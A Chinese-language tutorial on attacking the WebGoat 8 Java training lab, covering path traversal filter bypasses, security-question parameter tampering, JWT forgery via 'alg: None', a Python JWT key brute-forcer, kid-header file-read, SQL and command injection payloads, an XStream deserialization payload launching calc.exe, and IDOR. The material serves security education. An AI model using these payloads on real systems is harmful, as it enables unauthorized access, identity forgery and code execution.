WEB攻防-JavaWeb项目

WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制

#知识点:
1、JavaWeb常见安全及代码逻辑
2、目录遍历&身份验证&逻辑&JWT
3、访问控制&安全组件&越权&三方组件

一、JavaWeb-WebGoat8靶场搭建使用

1、资源地址

https://github.com/WebGoat/WebGoat

2、启动访问

//启动
java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
//访问
http://localhost:8081/WebGoat/login

二、安全问题-目录遍历&身份认证&JWT攻击

1、目录遍历

(1)WebGoat Path traversal 2

路径遍历

路径遍历是指应用程序接收了未经合理校验的用户参数用于进行与文件读取查看相关操作,而该参数包含了特殊的字符(例如“…”和“/”),使用了这类特殊字符可以摆脱受保护的限制,越权访问一些受保护的文件、目录或者覆盖敏感数据。比如上传到只能存放图片不能执行脚本的目录,可以把上传的脚本文件等通过此漏洞上传到其他目录或根目录。

路径(目录)遍历是攻击者能够访问或存储应用程序运行位置之外的文件和目录的漏洞。这可能会导致从其他目录读取文件,并且在文件上传覆盖关键系统文件的情况下。
例如,假设我们有一个托管一些文件的应用程序,并且可以按以下格式请求它们:`http://example.com/file=report.pdf`现在作为攻击者,您当然对其他文件
感兴趣,因此您可以尝试`http://example.com/file=../../../../../etc/passwd`. 在这种情况下,您尝试走到文件系统的根目录,然后进入`/etc/passwd`以
访问该文件。
当然,这是一个非常简单的示例,在大多数情况下,这将无法作为框架实现的控件来工作,因此我们需要更有创意并../在将请求发送到服务器之前开始编码。例
如,如果我们对../您进行URL 编码,那么`%2e%2e%2f`接收此请求的 Web 服务器将再次将其解码为../.

上传流程

文件上传后以FullName的值命名,并存储在文件夹C:\Users\10375.webgoat-8.1.0\PathTraversal\1234567\test目录下,比目标路径多一级目录1234567,可尝试将FullName改成…/test,点击update,可将这张图片传到上级文件夹PathTraversal下。

代码分析

    @PostMapping(
        value = {"/PathTraversal/profile-upload"},
        consumes = {"*/*"},
        produces = {"application/json"}
    )
/*@RequestMapping 是一个用来处理请求地址映射的注解,可用于类或方法上。用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径;用于方法上,表示在类的父路径下追加方法上注解中的地址将会访问到该方法。*/
//@Responsebody 注解表示该方法的返回的结果直接写入 HTTP 响应正文(ResponseBody)中,一般在异步获取数据时使用
//@RequestParam:将请求参数绑定到控制器的方法参数上
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
        return super.execute(file, fullName);
    }

利用方式

目标地址:
C:\Users\10375/.webgoat-8.1.0/PathTraversal/
直接提交:
Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test"
更改参数:
Profile has been updated, your image is available at: C:\Users\10375\.webgoat-8.1.0\PathTraversal\1234567\test1"
Full Name参数可控:跳一级目录即可,修改传输fullName的值为:../test
Content-Disposition: form-data; name="fullName"
../test
(2)WebGoat Path traversal 3

题目描述

The developer became aware of the vulnerability and implemented a fix which removed the ../ from the input. Again the same assignment but can you bypass the implemented fix?

路径代码匹配

提交路径:
POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1
对应代码路径:
webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal > ProfileUploadFix

代码分析

    @PostMapping(
        value = {"/PathTraversal/profile-upload-fix"},
        consumes = {"*/*"},
        produces = {"application/json"}
    )
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");//替换了../ 且单次替换
    }

绕过思路

修改test为:…\test,或者双写…/./test绕过

Content-Disposition: form-data; name="fullNameFix"
..\test
..././test
(3)WebGoat Path traversal 4

题目描述

The developer again became aware of the vulnerability by not validating the input of the full name input field. A fix was made in an attempt to solve this vulnerability.

Again the same assignment but can you bypass the implemented fix?

路径代码匹配

提交路径:
POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
对应代码路径:
webgoat- server-8.1.0>BOOT-INF>lib>path-traversal-8.1.0.jar 〉org >owasp >webgoat>path_traversal >ProfileUploadRemoveUserInput

代码分析

    @PostMapping(
        value = {"/PathTraversal/profile-upload-remove-user-input"},
        consumes = {"*/*"},
        produces = {"application/json"}
    )
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());//file.getOriginalFilename()是得到上传时的文件名

绕过思路

//首先尝试对test注入点和其他注入点进行修改,其上传后的文件名都是原始文件名,于是输入框内的参数对于上传之后的文件命名是没有影响的
Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="123QQ20220107150741.png"
Content-Disposition中的filename的值预填为下载后的文件名,尝试修改filename的值,上传之后的文件名也跟着变化了,于是尝试在filename处修改即可
Content-Disposition: form-data; name="uploadedFileRemoveUserInput"; filename="../123QQ20220107150741.png"

2、身份认证

(1)键值逻辑
#身份认证
-键值逻辑:使用键名键值进行对比验证错误
-JWT攻击:1、签名没验证空加密 2、爆破密匙 3、KID利用
https://www.cnblogs.com/vege/p/14468030.html

键值对(“key = value”),顾名思义,每一个键会对应一个值。在部分网站对问题进行验证时接收键值对查询对比以判断输入正误,有以下两种情况:

case1:
同时接收键名键值
s0=answer1&s1=answer2
若数据库中不存在s3与s4构造如下发送数据并验证:
s3= &s4= //等于空或其他值,多少视具体逻辑判断
则因为s3,s4均为null于是判断成立,验证通过
s3= null s4= null//输入一个为空,数据库没有返回null,然后判断成立

case2:
安全验证:固定键名,接收键值判断
固定接收的数据: 固定键名s0 s1,然后判断发送数据
不固定: s0 s1判断你的数据 (正常情况下)//s0 s1在数据库或者变量内
不固定: s2 s3判断你的数据 (攻击者攻击情况下)// s2 s3不在数据库或者变量内
1)WebGoat Authentication Bypasses
身份验证绕过
身份验证绕过以多种方式发生,但通常利用配置或逻辑中的一些缺陷。篡改以达到正确的条件。

隐藏的输入
最简单的形式是依赖于网页/DOM 中的隐藏输入。

删除参数
有时,如果攻击者不知道参数的正确值,他们可能会从提交中完全删除该参数以查看会发生什么。

强制浏览
如果站点的某个区域没有通过配置得到适当的保护,则可以通过猜测/暴力破解来访问该站点的区域。

提交验证问题答案:

secQuestion0=123&secQuestion1=123&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

绕过验证:

secQuestion10=&secQuestion11=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
(2)JWT攻击

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。jwt由三个部分组成:header.payload.signature
参考资源:https://www.cnblogs.com/vege/p/14468030.html
在此流程中,您可以看到用户在服务器返回的成功验证后使用用户名和密码登录。服务器创建一个新令牌并将其返回给客户端。当客户端对服务器进行连续调用时,它会将新令牌附加到“授权”标头中。服务器读取令牌并在成功验证后首先验证签名,服务器使用令牌中的信息来识别用户。
请添加图片描述

1)空加密算法-加密算法

如何判定:数据包中cookie中三部分,以.间隔 ,网站不同用户(比如注册用户与不注册用户)的cookie内容对比,判断是否为jmt。

解密网站:jmt.io

JWT支持使用空加密算法,可以在header中指定alg为None,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

{
    "alg" : "None",
    "typ" : "jwt"
}
  
{
    "user" : "Admin"
}

生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0

(header+’.’+payload,去掉了’.’+signature字段)

空加密算法的设计初衷是用于调试的,但是如果某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。所以不要密匙去生成jmt,需要服务器支持不要密匙(空模式加密)。

以WebGoat JWT tokens 4为例:

当选择管理员用户Tom时传输的cookie如下:

Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NDI4NTU4MDIsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Ki5z2E2FZO9KPQQnyF-exMwVG4pZ64n3_ORtbE76rTTdzh2Ln5eNjIyOLIVxPetkRJMsQjE4OFnm3hihP_8vlw

jmt.io解密,由于不知道密钥无法通过修改admin:true的方式伪造token。
请添加图片描述
尝试使用空加密算法,去除signature字段,生成两段加密数据。

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.

利用burp更改数据包Cookie发送。
请添加图片描述

2)爆破密钥

有密码验证的地方,就有会爆破。JWT 密钥爆破的局限性很大,对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

以WebGoat JWT tokens 4为例:

爆破后的密钥:bingo! found key --> shipping <–

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'your jmt'
    with open('top.txt') as f://字典爆破
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

输入密钥与修改用户名即可。
请添加图片描述

3)修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/home/jwt/.ssh/pem"
}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

0x01 任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}
0x02 SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}
0x03 命令注入

kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

三、安全问题-访问控制&安全组件&第三方组件

#安全组件
有没有引用爆过漏洞的第三方组件
#访问控制
-隐藏属性:前端页面的无作用限制显示 //管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露了,可尝试修改信息切换到其他用户访问
-水平越权:同一级别用户权限的查看

1、安全组件

漏洞利用并不总是在“你的”代码中

概括:
开源是从具有不同质量标准的许多不同存储库中获得的。
有关漏洞的安全信息散布在各处。
许可证信息通常难以验证。
大多数团队没有组件升级策略。
开源组件是新的攻击媒介。
(1)WebGoat Vulnerable Components 12

任何组件都可能存在漏洞

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>calc.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

2、访问控制

直接对象引用

直接对象引用是指应用程序使用客户端提供的输入来访问数据和对象。

例子

使用 GET 方法的直接对象引用示例可能类似于

https://some.company.tld/dor?id=12345
https://some.company.tld/images?img=12345
https://some.company.tld/dor/12345

其他方法

POST、PUT、DELETE 或其他方法也可能受到影响,主要只是方法和潜在的有效负载不同。

不安全的直接对象引用

当引用未正确处理并允许绕过授权或泄露可用于执行操作或访问用户不应执行或访问的数据的私有数据时,这些被认为是不安全的。假设作为用户,您去查看您的个人资料,并且 URL 看起来像这样:

https://some.company.tld/app/user/23398

您可以在那里查看您的个人资料。如果您导航到:https://some.company.tld/app/user/23399或在最后使用另一个数字。如果您可以操纵数字(用户 ID)并查看他人的个人资料,则对象引用是不安全的。这当然可以在 GET 方法之外检查或扩展以查看数据,但也可以操作数据。

(1)WebGoat Insecure Direct Object References 2

许多访问控制问题容易受到经过身份验证但未经授权的用户的攻击。换句话说(正如您在客户端过滤课程中可能已经注意到的那样),原始响应中的数据通常不会显示在屏幕/页面上。(隐藏属性),管理员不想前端展示更多信息,但网站源码与传输的流量内容可能已经暴露,可尝试修改信息切换到其他用户访问得到更多信息。

请添加图片描述

四、总结

1、目录遍历:可越权访问一些受保护的文件、目录等信息,可执行脚本可以通过目录遍历将其放置于具有执行脚本功能的文件夹执行;

2、身份认证:键值逻辑:键名是否带入查询,若查询对比可构造数据库不存在的键名绕过;

3、JMT攻击:利用jmt进行攻击,受限于密钥是否已知;

4、安全组件:漏洞利用并不总是在“你的”代码中,任何组件都可能存在漏洞;

5、访问控制:部分验证或传输方式将部分参数隐藏起来,相当于前端验证,可尝试修改参数内容越权访问。

6、javaweb架构:url地址《=》源码文件 包查找到文件,可对应代码去看。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值